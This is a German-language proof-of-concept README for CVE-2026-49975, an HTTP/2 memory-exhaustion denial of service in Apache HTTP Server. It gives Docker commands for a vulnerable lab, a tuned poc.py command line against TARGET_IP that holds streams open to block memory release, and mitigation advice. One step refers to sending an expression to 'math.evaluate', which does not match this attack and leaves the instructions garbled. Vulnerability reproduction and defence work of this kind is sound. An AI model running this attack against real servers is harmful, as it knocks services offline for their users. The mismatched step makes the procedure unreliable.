CVE-2026-49975 HTTP/2 Bomb

★ CVE-2026-49975 HTTP/2 Bomb PoC ★

Überblick

CVE-2026-49975 ist eine Denial-of-Service (DoS)-Sicherheitslücke im Apache HTTP Server. Die Schwachstelle tritt im HTTP/2-Anforderungsverarbeitungspfad auf, wo mehrere cookie-Header-Felder zusammengeführt werden können, ohne ordnungsgemäß gegen LimitRequestFields gezählt zu werden. Durch das Senden einer kleinen HPACK-kodierten HTTP/2-Anfrage, die sich zu vielen cookie-Header-Feldern aufbläht, kann ein Angreifer den Server zwingen, während der Zusammenführung von Cookie-Headern wiederholt Speicher zu allozieren. Der Angreifer kann dann die HTTP/2-Flusskontrolle nutzen, um die Übertragung von Antworten zu verzögern, die betroffenen Streams offen zu halten und die Freigabe des allozierten Speichers zu verhindern.

Betroffene Versionen

Kategorie	Version
Verwundbar	Apache HTTP Server 2.4.17 ≤ Version ≤ 2.4.67
Gepatched	Apache HTTP Server 2.4.68 oder höher

Auswirkungen

Remote Denial of Service (DoS)
Übermäßiger Speicherverbrauch
Verzögerte oder fehlgeschlagene Verarbeitung normaler Benutzeranfragen

Umgebung

Erstellen und ausführen der anfälligen Apache HTTP Server Umgebung.

docker build -t cve-2026-49975 .
docker run -d --name cve-2026-49975 --memory 8g -p 10081:80 cve-2026-49975

PoC

Nach dem Start der anfälligen Umgebung folgen Sie den untenstehenden Schritten, um den Angriff nachzustellen.

Schritt 1. Speichernutzung des Servers überwachen

docker stats cve-2026-49975

Beispielausgabe:

CONTAINER ID   NAME             CPU %   MEM USAGE / LIMIT     MEM %
xxxxxxxxxxxx   cve-2026-49975   0.5%    35.2MiB / 8.0GiB      1.7%

Schritt 2. Den HTTP/2 Bomb PoC ausführen

Senden Sie den folgenden Ausdruck an math.evaluate (z. B. über das Berechnungseingabefeld der Anwendung).

python3 poc.py \
  --host TARGET_IP \
  --port 10081 \
  --connections 10 \
  --streams 100 \
  --refs 4091 \
  --initial-window 0 \
  --hold 300 \
  --drip-interval 2 \
  --drip-bytes 1

Schritt 3. Das Ergebnis bestätigen

Überprüfen Sie, dass die Speichernutzung des Apache-Containers ansteigt und hoch bleibt, während die Angriffs-Streams offen gehalten werden.

Gegenmaßnahmen

Aktualisieren Sie den Apache HTTP Server auf Version 2.4.68 oder höher
Ziehen Sie in Betracht, HTTP/2 vorübergehend zu deaktivieren, falls der Dienst es nicht benötigt

CVE-2026-49975

Beliebteste